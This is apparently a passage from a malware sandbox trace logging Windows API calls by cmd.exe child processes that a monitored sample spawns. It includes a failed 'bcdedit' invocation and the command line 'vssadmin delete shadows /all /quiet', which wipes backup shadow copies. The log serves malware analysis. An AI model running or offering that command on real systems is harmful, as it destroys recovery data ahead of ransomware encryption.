[0038.850] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0038.850] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0038.850] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0038.850] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0038.850] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0038.850] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0038.850] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0038.850] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0038.850] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0038.850] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0038.850] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0038.850] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0038.850] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0038.850] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0038.850] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0038.850] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0038.850] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0038.850] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0038.850] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0038.850] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0038.850] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0038.850] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0038.850] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0038.850] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0038.850] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0038.850] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0038.850] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0038.850] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0038.850] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0038.850] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0038.850] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0038.850] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0038.850] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0038.850] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0038.851] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0038.851] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0038.851] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0038.851] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0038.851] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0038.851] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0038.851] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0038.851] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0038.851] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0038.851] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0038.851] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0038.851] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0038.851] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0038.851] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0038.851] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0038.851] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0038.851] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0038.851] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0038.851] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0038.851] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0038.851] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0038.851] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0038.851] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0038.851] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0038.851] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0038.851] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0038.851] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0038.851] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0038.851] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0038.851] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0038.851] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0038.851] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0038.851] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0038.851] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0038.851] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0038.851] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0038.851] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0038.852] GetProcessHeap () returned 0x6c0000 [0038.852] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x210) returned 0x6d3148 [0038.852] GetProcessHeap () returned 0x6c0000 [0038.852] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x7e) returned 0x6d3360 [0038.852] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0038.852] GetProcessHeap () returned 0x6c0000 [0038.852] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x418) returned 0x6c07f0 [0038.852] SetErrorMode (uMode=0x0) returned 0x0 [0038.852] SetErrorMode (uMode=0x1) returned 0x0 [0038.852] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6c07f8, lpFilePart=0x33edc8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x33edc8*="Desktop") returned 0x25 [0038.852] SetErrorMode (uMode=0x0) returned 0x1 [0038.852] GetProcessHeap () returned 0x6c0000 [0038.852] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6c07f0, Size=0x64) returned 0x6c07f0 [0038.852] GetProcessHeap () returned 0x6c0000 [0038.852] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6c07f0) returned 0x64 [0038.853] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.853] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0038.853] GetProcessHeap () returned 0x6c0000 [0038.853] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x120) returned 0x6d33e8 [0038.853] GetProcessHeap () returned 0x6c0000 [0038.853] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x238) returned 0x6c0860 [0038.859] GetProcessHeap () returned 0x6c0000 [0038.859] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6c0860, Size=0x122) returned 0x6c0860 [0038.859] GetProcessHeap () returned 0x6c0000 [0038.859] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6c0860) returned 0x122 [0038.859] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.859] GetProcessHeap () returned 0x6c0000 [0038.859] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xe0) returned 0x6d3510 [0040.014] _get_osfhandle (_FileHandle=2) returned 0xb [0040.014] GetFileType (hFile=0xb) returned 0x2 [0040.016] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0040.016] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x33ef98 | out: lpMode=0x33ef98) returned 1 [0040.016] _get_osfhandle (_FileHandle=2) returned 0xb [0040.016] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x33efcc | out: lpConsoleScreenBufferInfo=0x33efcc) returned 1 [0040.016] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a874640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0040.017] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a874640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x33eff0, lpReserved=0x0 | out: lpBuffer=0x4a874640*, lpNumberOfCharsWritten=0x33eff0*=0x62) returned 1 [0040.017] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.017] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.017] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.017] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0040.017] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.017] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0040.018] SetConsoleInputExeNameW () returned 0x1 [0040.018] GetConsoleOutputCP () returned 0x1b5 [0040.018] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0040.018] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.018] exit (_Code=1) Process: id = "12" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x31fa3000" os_pid = "0x868" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7b4" cmd_line = "cmd.exe /c vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 17 os_tid = 0xb04 [0038.077] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x39f8ec | out: lpSystemTimeAsFileTime=0x39f8ec*(dwLowDateTime=0xa798c540, dwHighDateTime=0x1d5e09d)) [0038.077] GetCurrentProcessId () returned 0x868 [0038.077] GetCurrentThreadId () returned 0xb04 [0038.077] GetTickCount () returned 0x1154a2b [0038.077] QueryPerformanceCounter (in: lpPerformanceCount=0x39f8e4 | out: lpPerformanceCount=0x39f8e4*=17994827215) returned 1 [0038.078] GetModuleHandleA (lpModuleName=0x0) returned 0x4a840000 [0038.078] __set_app_type (_Type=0x1) [0038.078] __p__fmode () returned 0x76be31f4 [0038.078] __p__commode () returned 0x76be31fc [0038.078] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8621a6) returned 0x0 [0038.078] __getmainargs (in: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c, _DoWildCard=0, _StartInfo=0x4a864140 | out: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c) returned 0 [0038.079] GetCurrentThreadId () returned 0xb04 [0038.079] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb04) returned 0x60 [0038.079] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0038.079] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0038.079] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.079] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.079] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x39f87c | out: phkResult=0x39f87c*=0x0) returned 0x2 [0038.080] VirtualQuery (in: lpAddress=0x39f8b3, lpBuffer=0x39f84c, dwLength=0x1c | out: lpBuffer=0x39f84c*(BaseAddress=0x39f000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.080] VirtualQuery (in: lpAddress=0x2a0000, lpBuffer=0x39f84c, dwLength=0x1c | out: lpBuffer=0x39f84c*(BaseAddress=0x2a0000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0038.080] VirtualQuery (in: lpAddress=0x2a1000, lpBuffer=0x39f84c, dwLength=0x1c | out: lpBuffer=0x39f84c*(BaseAddress=0x2a1000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0038.080] VirtualQuery (in: lpAddress=0x2a3000, lpBuffer=0x39f84c, dwLength=0x1c | out: lpBuffer=0x39f84c*(BaseAddress=0x2a3000, AllocationBase=0x2a0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.080] VirtualQuery (in: lpAddress=0x3a0000, lpBuffer=0x39f84c, dwLength=0x1c | out: lpBuffer=0x39f84c*(BaseAddress=0x3a0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xd0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0038.080] GetConsoleOutputCP () returned 0x1b5 [0038.800] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0038.800] SetConsoleCtrlHandler (HandlerRoutine=0x4a85e72a, Add=1) returned 1 [0038.800] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.800] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0038.801] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.801] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0038.801] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.801] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.801] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.801] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0038.801] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.801] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0038.802] GetEnvironmentStringsW () returned 0x7b2018* [0038.802] GetProcessHeap () returned 0x7a0000 [0038.802] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xaca) returned 0x7b2af0 [0038.802] FreeEnvironmentStringsW (penv=0x7b2018) returned 1 [0038.802] GetProcessHeap () returned 0x7a0000 [0038.802] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x4) returned 0x7b0c50 [0038.802] GetEnvironmentStringsW () returned 0x7b2018* [0038.802] GetProcessHeap () returned 0x7a0000 [0038.802] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xaca) returned 0x7b35c8 [0038.802] FreeEnvironmentStringsW (penv=0x7b2018) returned 1 [0038.802] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x39e7ec | out: phkResult=0x39e7ec*=0x68) returned 0x0 [0038.803] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x39e7f4, lpData=0x39e7f8, lpcbData=0x39e7f0*=0x1000 | out: lpType=0x39e7f4*=0x0, lpData=0x39e7f8*=0x0, lpcbData=0x39e7f0*=0x1000) returned 0x2 [0038.803] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x39e7f4, lpData=0x39e7f8, lpcbData=0x39e7f0*=0x1000 | out: lpType=0x39e7f4*=0x4, lpData=0x39e7f8*=0x1, lpcbData=0x39e7f0*=0x4) returned 0x0 [0038.803] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x39e7f4, lpData=0x39e7f8, lpcbData=0x39e7f0*=0x1000 | out: lpType=0x39e7f4*=0x0, lpData=0x39e7f8*=0x1, lpcbData=0x39e7f0*=0x1000) returned 0x2 [0038.803] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x39e7f4, lpData=0x39e7f8, lpcbData=0x39e7f0*=0x1000 | out: lpType=0x39e7f4*=0x4, lpData=0x39e7f8*=0x0, lpcbData=0x39e7f0*=0x4) returned 0x0 [0038.803] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x39e7f4, lpData=0x39e7f8, lpcbData=0x39e7f0*=0x1000 | out: lpType=0x39e7f4*=0x4, lpData=0x39e7f8*=0x40, lpcbData=0x39e7f0*=0x4) returned 0x0 [0038.803] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x39e7f4, lpData=0x39e7f8, lpcbData=0x39e7f0*=0x1000 | out: lpType=0x39e7f4*=0x4, lpData=0x39e7f8*=0x40, lpcbData=0x39e7f0*=0x4) returned 0x0 [0038.803] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x39e7f4, lpData=0x39e7f8, lpcbData=0x39e7f0*=0x1000 | out: lpType=0x39e7f4*=0x0, lpData=0x39e7f8*=0x40, lpcbData=0x39e7f0*=0x1000) returned 0x2 [0038.803] RegCloseKey (hKey=0x68) returned 0x0 [0038.803] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x39e7ec | out: phkResult=0x39e7ec*=0x68) returned 0x0 [0038.803] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x39e7f4, lpData=0x39e7f8, lpcbData=0x39e7f0*=0x1000 | out: lpType=0x39e7f4*=0x0, lpData=0x39e7f8*=0x40, lpcbData=0x39e7f0*=0x1000) returned 0x2 [0038.803] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x39e7f4, lpData=0x39e7f8, lpcbData=0x39e7f0*=0x1000 | out: lpType=0x39e7f4*=0x4, lpData=0x39e7f8*=0x1, lpcbData=0x39e7f0*=0x4) returned 0x0 [0038.803] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x39e7f4, lpData=0x39e7f8, lpcbData=0x39e7f0*=0x1000 | out: lpType=0x39e7f4*=0x0, lpData=0x39e7f8*=0x1, lpcbData=0x39e7f0*=0x1000) returned 0x2 [0038.803] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x39e7f4, lpData=0x39e7f8, lpcbData=0x39e7f0*=0x1000 | out: lpType=0x39e7f4*=0x4, lpData=0x39e7f8*=0x0, lpcbData=0x39e7f0*=0x4) returned 0x0 [0038.803] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x39e7f4, lpData=0x39e7f8, lpcbData=0x39e7f0*=0x1000 | out: lpType=0x39e7f4*=0x4, lpData=0x39e7f8*=0x9, lpcbData=0x39e7f0*=0x4) returned 0x0 [0038.803] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x39e7f4, lpData=0x39e7f8, lpcbData=0x39e7f0*=0x1000 | out: lpType=0x39e7f4*=0x4, lpData=0x39e7f8*=0x9, lpcbData=0x39e7f0*=0x4) returned 0x0 [0038.803] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x39e7f4, lpData=0x39e7f8, lpcbData=0x39e7f0*=0x1000 | out: lpType=0x39e7f4*=0x0, lpData=0x39e7f8*=0x9, lpcbData=0x39e7f0*=0x1000) returned 0x2 [0038.803] RegCloseKey (hKey=0x68) returned 0x0 [0038.804] time (in: timer=0x0 | out: timer=0x0) returned 0x5e423e1d [0038.804] srand (_Seed=0x5e423e1d) [0038.804] GetCommandLineW () returned="cmd.exe /c vssadmin delete shadows /all /quiet" [0038.804] GetCommandLineW () returned="cmd.exe /c vssadmin delete shadows /all /quiet" [0038.804] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.804] GetProcessHeap () returned 0x7a0000 [0038.804] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x210) returned 0x7b2018 [0038.804] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7b2020, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0038.804] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.804] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.804] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.804] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0038.804] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0038.804] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0038.804] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0038.804] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0038.804] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0038.804] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0038.804] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0038.804] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0038.805] GetProcessHeap () returned 0x7a0000 [0038.805] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b2af0 | out: hHeap=0x7a0000) returned 1 [0038.805] GetEnvironmentStringsW () returned 0x7b2230* [0038.805] GetProcessHeap () returned 0x7a0000 [0038.805] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xae2) returned 0x7b4b90 [0038.805] FreeEnvironmentStringsW (penv=0x7b2230) returned 1 [0038.805] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.805] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.805] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0038.805] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0038.805] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0038.805] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0038.805] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0038.805] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0038.805] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0038.805] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0038.805] GetProcessHeap () returned 0x7a0000 [0038.805] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0x54) returned 0x7b5680 [0038.805] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x39f5b8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.805] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x39f5b8, lpFilePart=0x39f5b4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x39f5b4*="Desktop") returned 0x25 [0038.805] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.805] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x39f334 | out: lpFindFileData=0x39f334*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x7b1e98 [0038.806] FindClose (in: hFindFile=0x7b1e98 | out: hFindFile=0x7b1e98) returned 1 [0038.806] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x39f334 | out: lpFindFileData=0x39f334*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x7b1e98 [0038.806] FindClose (in: hFindFile=0x7b1e98 | out: hFindFile=0x7b1e98) returned 1 [0038.806] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0038.806] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x39f334 | out: lpFindFileData=0x39f334*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5885400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x7b1e98 [0038.806] FindClose (in: hFindFile=0x7b1e98 | out: hFindFile=0x7b1e98) returned 1 [0038.806] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.806] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0038.806] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0038.806] GetProcessHeap () returned 0x7a0000 [0038.806] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b4b90 | out: hHeap=0x7a0000) returned 1 [0038.806] GetEnvironmentStringsW () returned 0x7b40a0* [0038.806] GetProcessHeap () returned 0x7a0000 [0038.806] RtlAllocateHeap (HeapHandle=0x7a0000, Flags=0x8, Size=0xb36) returned 0x7b5ee0 [0038.806] FreeEnvironmentStringsW (penv=0x7b40a0) returned 1 [0038.806] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.806] GetProcessHeap () returned 0x7a0000 [0038.807] HeapFree (in: hHeap=0x7a0000, dwFlags=0x0, lpMem=0x7b5680 | out: hHeap=0x7a0000) returned 1 [0038.807] GetProcessHeap () returned 0x7a0000 [0038.807] RtlAllocateHeap 